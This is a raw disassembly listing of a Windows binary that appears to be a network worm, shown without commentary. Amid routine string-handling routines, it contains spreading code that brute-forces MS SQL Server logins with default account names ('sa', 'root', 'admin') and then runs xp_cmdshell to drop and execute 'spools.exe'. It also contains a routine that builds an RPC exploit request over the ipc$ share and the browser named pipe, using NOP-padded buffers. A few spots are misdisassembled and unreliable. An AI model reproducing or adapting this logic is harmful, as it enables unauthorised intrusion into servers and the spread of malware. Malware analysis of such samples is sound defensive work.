loc_40D3BE: ; CODE XREF: .nsp0:00426C6Fj
; .nsp0:00426C85j ...
push 1
call sub_40D5C9
retn
; =============== S U B R O U T I N E =======================================
sub_40D3C6 proc near ; CODE XREF: sub_40CF88+110p
; sub_40CF88+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D3E0
call sub_426290
loc_40D3E0: ; CODE XREF: sub_40D3C6+13j
test ebx, ebx
jbe short loc_40D417
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D544
test al, al
jz short loc_40D417
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41BC40
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D417: ; CODE XREF: sub_40D3C6+1Cj
; sub_40D3C6+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D3C6 endp
; =============== S U B R O U T I N E =======================================
sub_40D41F proc near ; CODE XREF: sub_40CF88+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D439
call sub_426290
loc_40D439: ; CODE XREF: sub_40D41F+13j
test ebx, ebx
jbe short loc_40D46E
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D544
test al, al
jz short loc_40D46E
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call near ptr sub_41C9B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D46E: ; CODE XREF: sub_40D41F+1Cj
; sub_40D41F+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D41F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D476 proc near ; CODE XREF: sub_40CF88+17Cp
; sub_4262EA+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D48E
call sub_4264BC
loc_40D48E: ; CODE XREF: sub_40D476+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D4A0
mov esi, [ebp+arg_8]
loc_40D4A0: ; CODE XREF: sub_40D476+25j
cmp edi, ebx
jnz short loc_40D4C2
push dword_427698
add esi, ecx
mov ecx, edi
push esi
call sub_40D63A
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D63A
jmp short loc_40D53B
; ---------------------------------------------------------------------------
loc_40D4C2: ; CODE XREF: sub_40D476+2Cj
test esi, esi
jbe short loc_40D505
cmp esi, eax
jnz short loc_40D505
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D4D6
mov eax, offset dword_4276A8
loc_40D4D6: ; CODE XREF: sub_40D476+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D505
push 1
mov ecx, edi
call sub_40D5C9
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D4F1
mov eax, offset dword_4276A8
loc_40D4F1: ; CODE XREF: sub_40D476+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D53B
; ---------------------------------------------------------------------------
loc_40D505: ; CODE XREF: sub_40D476+4Ej
; sub_40D476+52j ...
push 1
push esi
mov ecx, edi
call sub_40D544
test al, al
jz short loc_40D53B
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D51F
mov eax, offset dword_4276A8
loc_40D51F: ; CODE XREF: sub_40D476+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call near ptr sub_41C9B0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D53B: ; CODE XREF: sub_40D476+4Aj
; sub_40D476+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D476 endp
; =============== S U B R O U T I N E =======================================
sub_40D544 proc near ; CODE XREF: sub_40CF88+3Dp
; sub_40D3C6+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D556
call sub_426290
loc_40D556: ; CODE XREF: sub_40D544+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D57F
mov al, [ecx-1]
cmp al, dl
jz short loc_40D57F
cmp al, 0FFh
jz short loc_40D57F
cmp edi, edx
jnz short loc_40D5BA
dec al
push edx
mov [ecx-1], al
loc_40D574: ; CODE XREF: sub_40D544+47j
mov ecx, esi
call sub_40D5C9
loc_40D57B: ; CODE XREF: sub_40D544+4Bj
; sub_40D544+52j
xor al, al
jmp short loc_40D5C4
; ---------------------------------------------------------------------------
loc_40D57F: ; CODE XREF: sub_40D544+19j
; sub_40D544+20j ...
cmp edi, edx
jnz short loc_40D598
cmp [esp+8+arg_4], dl
jz short loc_40D58D
push 1
jmp short loc_40D574
; ---------------------------------------------------------------------------
loc_40D58D: ; CODE XREF: sub_40D544+43j
cmp ecx, edx
jz short loc_40D57B
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D57B
; ---------------------------------------------------------------------------
loc_40D598: ; CODE XREF: sub_40D544+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D5B5
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D5AA
cmp eax, edi
jnb short loc_40D5C2
loc_40D5AA: ; CODE XREF: sub_40D544+60j
push 1
mov ecx, esi
call sub_40D5C9
jmp short loc_40D5BA
; ---------------------------------------------------------------------------
loc_40D5B5: ; CODE XREF: sub_40D544+58j
cmp [esi+0Ch], edi
jnb short loc_40D5C2
loc_40D5BA: ; CODE XREF: sub_40D544+28j
; sub_40D544+6Fj
push edi
mov ecx, esi
call sub_40D6A1
loc_40D5C2: ; CODE XREF: sub_40D544+64j
; sub_40D544+74j
mov al, 1
loc_40D5C4: ; CODE XREF: sub_40D544+39j
pop edi
pop esi
retn 8
sub_40D544 endp
; =============== S U B R O U T I N E =======================================
sub_40D5C9 proc near ; CODE XREF: sub_40CF88+1Fp
; sub_40CF88+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D5F5
mov eax, [esi+4]
test eax, eax
jz short loc_40D5F5
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D5EE
cmp al, 0FFh
jz short loc_40D5EE
dec al
mov [ecx], al
jmp short loc_40D5F5
; ---------------------------------------------------------------------------
loc_40D5EE: ; CODE XREF: sub_40D5C9+19j
; sub_40D5C9+1Dj
push ecx
call sub_41D323
pop ecx
loc_40D5F5: ; CODE XREF: sub_40D5C9+8j
; sub_40D5C9+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D5C9 endp
; =============== S U B R O U T I N E =======================================
sub_40D605 proc near ; CODE XREF: .nsp0:0040D325p
; sub_40D75E+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D544
test al, al
jz short loc_40D633
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call near ptr sub_41C9B0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D633: ; CODE XREF: sub_40D605+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D605 endp
; =============== S U B R O U T I N E =======================================
sub_40D63A proc near ; CODE XREF: sub_40D476+39p
; sub_40D476+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D64D
call sub_4264BC
loc_40D64D: ; CODE XREF: sub_40D63A+Cj
mov ecx, edi
call sub_40D75E
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D663
mov ebx, eax
loc_40D663: ; CODE XREF: sub_40D63A+25j
test ebx, ebx
jbe short loc_40D699
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41D330
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D544
test al, al
jz short loc_40D699
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D699: ; CODE XREF: sub_40D63A+2Bj
; sub_40D63A+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D63A endp
; =============== S U B R O U T I N E =======================================
sub_40D6A1 proc near ; CODE XREF: sub_40D544+79p
mov eax, offset loc_426CB4
call sub_41D304
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D6C7
mov edi, [ebp+8]
loc_40D6C7: ; CODE XREF: sub_40D6A1+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D6D4
xor eax, eax
loc_40D6D4: ; CODE XREF: sub_40D6A1+2Fj
push eax
call sub_41D665
pop ecx
mov [ebp+8], eax
jmp short loc_40D705
; ---------------------------------------------------------------------------
loc_40D6E0: ; DATA XREF: .nsp0:00427FE4o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D6EF
xor eax, eax
loc_40D6EF: ; CODE XREF: sub_40D6A1+4Aj
push eax
call sub_41D665
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D6FF
retn
; ---------------------------------------------------------------------------
loc_40D6FF: ; DATA XREF: sub_40D6A1+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D705: ; CODE XREF: sub_40D6A1+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D723
cmp eax, edi
jbe short loc_40D712
mov eax, edi
loc_40D712: ; CODE XREF: sub_40D6A1+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call near ptr sub_41C9B0
add esp, 0Ch
loc_40D723: ; CODE XREF: sub_40D6A1+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D5C9
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D743
mov edi, ebx
loc_40D743: ; CODE XREF: sub_40D6A1+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D6A1 endp
; =============== S U B R O U T I N E =======================================
sub_40D75E proc near ; CODE XREF: sub_40D63A+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D78B
mov al, [esi-1]
test al, al
jz short loc_40D78B
cmp al, 0FFh
jz short loc_40D78B
push 1
call sub_40D5C9
push esi
call sub_41B890
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D605
loc_40D78B: ; CODE XREF: sub_40D75E+9j
; sub_40D75E+10j ...
pop edi
pop esi
retn
sub_40D75E endp
; =============== S U B R O U T I N E =======================================
sub_40D78E proc near ; DATA XREF: .nsp0:0042900Co
test byte_4E180C, 1
jnz short loc_40D79E
or byte_4E180C, 1
loc_40D79E: ; CODE XREF: sub_40D78E+7j
jmp $+5
push offset nullsub_1
call sub_41D6E0
pop ecx
retn
sub_40D78E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, 8Bh
sub esp, 0BCh
lea esi, [ebp+8]
mov [ebp+0A8h], ebx
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E13E
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_40E62B
push 2Fh
lea esi, [ebp+8]
pop ecx
mov [ebp+0A8h], ebx
mov edi, esp
mov [ebp-8], eax
rep movsd
call sub_40EA50
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_40D81D
cmp dword ptr [ebp-8], 0
jnz short loc_40D81D
test eax, eax
jz short loc_40D820
loc_40D81D: ; CODE XREF: .nsp0:0040D811j
; .nsp0:0040D817j
push 1
pop eax
loc_40D820: ; CODE XREF: .nsp0:0040D81Bj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0E34h
mov al, byte_443398
push ebx
mov [ebp-1], al
lea eax, [ebp-10h]
push esi
xor ebx, ebx
push eax
mov esi, offset aSa ; "sa"
push ebx
push 1
mov [ebp-34h], esi
mov dword ptr [ebp-30h], offset aRoot ; "root"
mov dword ptr [ebp-2Ch], offset aAdmin ; "admin"
mov [ebp-28h], ebx
mov [ebp-1Ch], ebx
mov [ebp-0Ch], ebx
mov [ebp-8], ebx
call dword_4D116C
test ax, ax
jnz short loc_40D885
push 0FFFFFFFAh
push 3
push 0C8h
push dword ptr [ebp-10h]
call dword_4D1278
test ax, ax
jz short loc_40D88C
loc_40D885: ; CODE XREF: .nsp0:0040D86Cj
xor eax, eax
jmp loc_40DACD
; ---------------------------------------------------------------------------
loc_40D88C: ; CODE XREF: .nsp0:0040D883j
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-10h]
push 2
call dword_4D116C
test ax, ax
jnz loc_40DAC0
test esi, esi
push edi
mov [ebp-18h], ebx
jz loc_40DAB1
mov edi, dword_427064
lea ecx, [ebp-34h]
mov [ebp-20h], ecx
loc_40D8BC: ; CODE XREF: .nsp0:0040DA19j
cmp off_429248, ebx
mov [ebp-14h], ebx
jz loc_40DA05
mov ebx, [ecx]
mov eax, offset off_429248
mov esi, eax
loc_40D8D4: ; CODE XREF: .nsp0:0040D948j
lea ecx, [ebp-1]
push ecx
push dword ptr [eax]
lea eax, [ebp+0Ch]
push ebx
push dword ptr [ebp+0A8h]
push eax
lea eax, [ebp-0A34h]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_41BF36
add esp, 1Ch
lea eax, [ebp-22h]
push 0
push eax
lea eax, [ebp-0E34h]
push 400h
push eax
lea eax, [ebp-0A34h]
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp-0A34h]
push eax
push 0
push dword ptr [ebp-0Ch]
call dword_4D122C
test ax, ax
jz short loc_40D94F
cmp ax, 1
jz short loc_40D94F
push 1F4h
call edi ; dword_427064
inc dword ptr [ebp-14h]
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_40D8D4
jmp loc_40DA03
; ---------------------------------------------------------------------------
loc_40D94F: ; CODE XREF: .nsp0:0040D92Ej
; .nsp0:0040D934j
lea eax, [ebp-8]
push eax
push dword ptr [ebp-0Ch]
push 3
call dword_4D116C
mov esi, offset aSpools_exe ; "spools.exe"
push esi
push esi
call sub_41BF92
push eax
call sub_41BF92
push eax
push dword_4D0F20
push dword ptr [ebp+8]
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp-634h]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_41BF36
add esp, 20h
lea eax, [ebp-634h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-8]
call dword_4D11B4
test ax, ax
jz short loc_40D9F8
mov ebx, 1388h
push ebx
call edi ; dword_427064
push esi
lea eax, [ebp-634h]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_41BF36
lea eax, [ebp+0Ch]
push eax
lea eax, [ebp-234h]
push offset unk_438DF4
push eax
call sub_41BF36
add esp, 18h
lea eax, [ebp-634h]
push 0FFFFFFFDh
push eax
push dword ptr [ebp-8]
call dword_4D11B4
test ax, ax
jz short loc_40DA1E
push ebx
call edi ; dword_427064
loc_40D9F8: ; CODE XREF: .nsp0:0040D9AAj
push dword ptr [ebp-8]
push 3
call dword_4D120C
loc_40DA03: ; CODE XREF: .nsp0:0040D94Aj
xor ebx, ebx
loc_40DA05: ; CODE XREF: .nsp0:0040D8C5j
mov ecx, [ebp-20h]
inc dword ptr [ebp-18h]
add ecx, 4
mov [ebp-20h], ecx
cmp [ecx], ebx
jz loc_40DAB1
jmp loc_40D8BC
; ---------------------------------------------------------------------------
loc_40DA1E: ; CODE XREF: .nsp0:0040D9F3j
mov eax, [ebp-14h]
mov dword ptr [ebp-1Ch], 1
push off_429248[eax*4]
mov eax, [ebp-18h]
push dword ptr [ebp+eax*4-34h]
lea eax, [ebp+0Ch]
push dword ptr [ebp+0A8h]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset unk_438DB0
lea eax, [ebp-234h]
push 200h
push eax
call sub_41C030
add esp, 20h
cmp dword ptr [ebp+0BCh], 0
jnz short loc_40DA8F
push 0
lea eax, [ebp-234h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_4099D2
add esp, 14h
loc_40DA8F: ; CODE XREF: .nsp0:0040DA6Fj
lea eax, [ebp-234h]
push eax
call sub_4157A6
mov eax, [ebp+0B0h]
pop ecx
shl eax, 6
inc dword_438050[eax]
lea eax, dword_438050[eax]
loc_40DAB1: ; CODE XREF: .nsp0:0040D8AAj
; .nsp0:0040DA13j
push dword ptr [ebp-0Ch]
push 2
call dword_4D120C
mov ebx, [ebp-1Ch]
pop edi
loc_40DAC0: ; CODE XREF: .nsp0:0040D89Ej
push dword ptr [ebp-10h]
push 1
call dword_4D120C
mov eax, ebx
loc_40DACD: ; CODE XREF: .nsp0:0040D887j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40DAD1 proc near ; DATA XREF: .nsp0:00429010o
jmp $+5
sub_40DAD1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40DAD6 proc near
mov eax, dword_4390A8
add eax, 6
mov dword_4D3F14, eax
retn
sub_40DAD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAE4 proc near ; CODE XREF: sub_40DAE4+D0p
; .nsp0:0040E065p
var_74BF8B40 = dword ptr -74BF8B40h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40DAF8
or [ebp+arg_7], 1
jmp short loc_40DAFC
; ---------------------------------------------------------------------------
loc_40DAF8: ; CODE XREF: sub_40DAE4+Cj
and [ebp+arg_7], 0FEh
loc_40DAFC: ; CODE XREF: sub_40DAE4+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40DB20
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40DB32
; ---------------------------------------------------------------------------
loc_40DB20: ; CODE XREF: sub_40DAE4+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40DB32: ; CODE XREF: sub_40DAE4+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41BBCB
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40DBCB
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call near ptr 0B40000h
add [ebp+var_74BF8B40], 45h
cld
cmp [ebp+var_8], eax
jnz short loc_40DBC2
push [ebp+arg_20]
call sub_41B961
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40DBBE
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40DAE4
add esp, 2Ch
jmp short loc_40DBCD
; ---------------------------------------------------------------------------
loc_40DBBE: ; CODE XREF: sub_40DAE4+B3j
mov al, 1
jmp short loc_40DBCD
; ---------------------------------------------------------------------------
loc_40DBC2: ; CODE XREF: sub_40DAE4+A4j
push [ebp+arg_20]
call sub_41B961
pop ecx
loc_40DBCB: ; CODE XREF: sub_40DAE4+61j
xor al, al
loc_40DBCD: ; CODE XREF: sub_40DAE4+D8j
; sub_40DAE4+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40DAE4 endp
; ---------------------------------------------------------------------------
loc_40DBD2: ; CODE XREF: sub_40E13E+15p
; sub_40E13E+3Dp
push ebp
mov ebp, esp
mov eax, 60E0h
call sub_41C1D0
push ebx
push esi
push edi
lea eax, [ebp+0Ch]
push offset a_ ; "."
push eax
call sub_41D800
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
jz short loc_40DC48
lea eax, [ebp+0Ch]
mov esi, 2000h
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp-20E0h]
push esi
push eax
call sub_41C030
push 20h
lea eax, [ebp-0E0h]
push ebx
push eax
call sub_41BC40
lea eax, [ebp-20E0h]
add esp, 1Ch
mov [ebp-0CCh], eax
mov eax, offset byte_443398
push ebx
push eax
push eax
lea eax, [ebp-0E0h]
push eax
call dword_4D1298
jmp short loc_40DC4D
; ---------------------------------------------------------------------------
loc_40DC48: ; CODE XREF: .nsp0:0040DBF6j
mov esi, 2000h
loc_40DC4D: ; CODE XREF: .nsp0:0040DC46j
lea eax, [ebp+0Ch]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp-40E0h]
push esi
push eax
call sub_41C030
add esp, 10h
lea eax, [ebp-40E0h]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_4270EC ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_40DC92
loc_40DC8B: ; CODE XREF: .nsp0:0040DD6Aj
; .nsp0:0040DF4Fj ...
xor eax, eax
jmp loc_40E139
; ---------------------------------------------------------------------------
loc_40DC92: ; CODE XREF: .nsp0:0040DC89j
push 48h
lea eax, [ebp-0BCh]
push ebx
push eax
call sub_41BC40
push 10h
mov byte ptr [ebp-0BCh], 5
pop eax
mov [ebp-0BBh], bl
push 1
mov [ebp-0B8h], eax
pop edi
mov byte ptr [ebp-0BAh], 0Bh
push eax
lea eax, [ebp-9Ch]
push offset dword_4390FC
push eax
mov byte ptr [ebp-0B9h], 3
mov word ptr [ebp-0B4h], 48h
mov [ebp-0B2h], bx
mov [ebp-0B0h], ebx
mov word ptr [ebp-0ACh], 10B8h
mov word ptr [ebp-0AAh], 10B8h
mov [ebp-0A8h], ebx
mov [ebp-0A4h], edi
mov [ebp-0A0h], bx
mov byte ptr [ebp-9Eh], 1
call near ptr sub_41C9B0
push 10h
lea eax, [ebp-88h]
push offset dword_4390E8
push eax
mov dword ptr [ebp-8Ch], 3
call near ptr sub_41C9B0
add esp, 24h
lea eax, [ebp-0C0h]
mov dword ptr [ebp-78h], 2
push ebx
push eax
lea eax, [ebp-0BCh]
push 48h
push eax
push dword ptr [ebp-8]
call near ptr 0B40000h
xchg eax, ebx
test eax, eax
jnz short loc_40DD6F
loc_40DD61: ; CODE XREF: .nsp0:0040DE41j
push dword ptr [ebp-8]
call dword_42706C ; CloseHandle
jmp loc_40DC8B
; ---------------------------------------------------------------------------
loc_40DD6F: ; CODE XREF: .nsp0:0040DD5Fj
lea eax, [ebp-18h]
push ebx
push eax
lea eax, [ebp-60E0h]
push esi
push eax
push dword ptr [ebp-8]
call dword_4270E8 ; ReadFile
push ebx
call sub_41D721
push eax
call sub_41BF88
push 14h
lea eax, [ebp-74h]
push 41h
push eax
call sub_41BC40
push 1Ch
lea eax, [ebp-34h]
push 41h
push eax
call sub_41BC40
add esp, 20h
call sub_41BF92
mov esi, [ebp+0C4h]
mov [ebp-74h], eax
mov [ebp-68h], edi
mov [ebp-6Ch], ebx
lea esi, [esi+esi*4]
mov [ebp-70h], edi
shl esi, 2
mov [ebp-64h], bx
cmp byte_439090[esi], bl
jz short loc_40DDE9
push 4
mov [ebp-28h], edi
mov [ebp-2Ch], ebx
mov [ebp-30h], edi
push offset dword_4D3F1C
jmp short loc_40DDFC
; ---------------------------------------------------------------------------
loc_40DDE9: ; CODE XREF: .nsp0:0040DDD5j
push 2
mov [ebp-2Ch], ebx
pop eax
push 4
mov [ebp-28h], eax
mov [ebp-30h], eax
push (offset loc_4390DF+1)
loc_40DDFC: ; CODE XREF: .nsp0:0040DDE7j
lea eax, [ebp-24h]
push eax
call near ptr sub_41C9B0
add esp, 0Ch
call sub_41BF92
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-34h], edx
call sub_41BF92
cdq
idiv edi
mov eax, dword_439084[esi]
mov [ebp-1Ch], ebx
push eax
mov [ebp+0C4h], eax
inc edx
mov [ebp-20h], edx
call sub_41BBCB
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_40DD61
mov eax, [ebp+0C4h]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_41BC40
mov eax, [ebp+0C4h]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_41BC40
mov eax, dword_43908C[esi]
push 7
add eax, edi
push offset dword_439078
push eax
mov [ebp-4], eax
call near ptr sub_41C9B0
mov eax, [ebp-4]
push 15Ch
add eax, 7
push offset dword_438F18
push eax
call near ptr sub_41C9B0
mov eax, dword_439088[esi]
add esp, 30h
cmp byte_439090[esi], bl
mov [ebp-4], eax
jz short loc_40DEFE
push 4
add eax, edi
push offset dword_4D3F14
push eax
call near ptr sub_41C9B0
add dword ptr [ebp-4], 0Ch
mov esi, offset dword_4390A8
mov eax, [ebp-4]
push 4
add eax, edi
push esi
push eax
call near ptr sub_41C9B0
mov eax, [ebp-4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp-4], eax
call near ptr sub_41C9B0
mov eax, [ebp-4]
push 4
add eax, 0Ch
push esi
push eax
call near ptr sub_41C9B0
add esp, 30h
jmp short loc_40DF26
; ---------------------------------------------------------------------------
loc_40DEFE: ; CODE XREF: .nsp0:0040DEAFj
add eax, edi
mov dword ptr [ebp-0Ch], 10h
mov [ebp-4], eax
mov esi, offset dword_4390A8
loc_40DF0F: ; CODE XREF: .nsp0:0040DF24j
push 4
push esi
push dword ptr [ebp-4]
call near ptr sub_41C9B0
add dword ptr [ebp-4], 4
add esp, 0Ch
dec dword ptr [ebp-0Ch]
jnz short loc_40DF0F
loc_40DF26: ; CODE XREF: .nsp0:0040DEFCj
mov eax, [ebp+0C4h]
add eax, 42h
push eax
call sub_41BBCB
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-0Ch], esi
jnz short loc_40DF54
push dword ptr [ebp-8]
call dword_42706C ; CloseHandle
push edi
call sub_41B961
pop ecx
jmp loc_40DC8B
; ---------------------------------------------------------------------------
loc_40DF54: ; CODE XREF: .nsp0:0040DF3Dj
mov eax, [ebp+0C4h]
add eax, 42h
push eax
push ebx
push esi
call sub_41BC40
lea eax, [ebp-74h]
push 14h
push eax
push esi
call near ptr sub_41C9B0
mov eax, [ebp+0C4h]
mov [ebp-10h], ebx
mov [ebp-14h], eax
add esp, 10h
fild qword ptr [ebp-14h]
fmul flt_4276AC
fstp qword ptr [esp]
call sub_41CE5F
call sub_41CE38
push dword ptr [ebp+0C4h]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call near ptr sub_41C9B0
mov eax, [ebp+0C4h]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp-4], eax
jz short loc_40DFCD
loc_40DFC5: ; CODE XREF: .nsp0:0040DFC8j
inc eax
test al, 3
jnz short loc_40DFC5
mov [ebp-4], eax
loc_40DFCD: ; CODE XREF: .nsp0:0040DFC3j
lea ecx, [ebp-34h]
push 1Ch
add eax, esi
push ecx
push eax
call near ptr sub_41C9B0
add dword ptr [ebp-4], 1Ch
push edi
call sub_41B961
push 18h
lea eax, [ebp-4Ch]
push ebx
push eax
call sub_41BC40
push 14h
lea eax, [ebp-60h]
push ebx
push eax
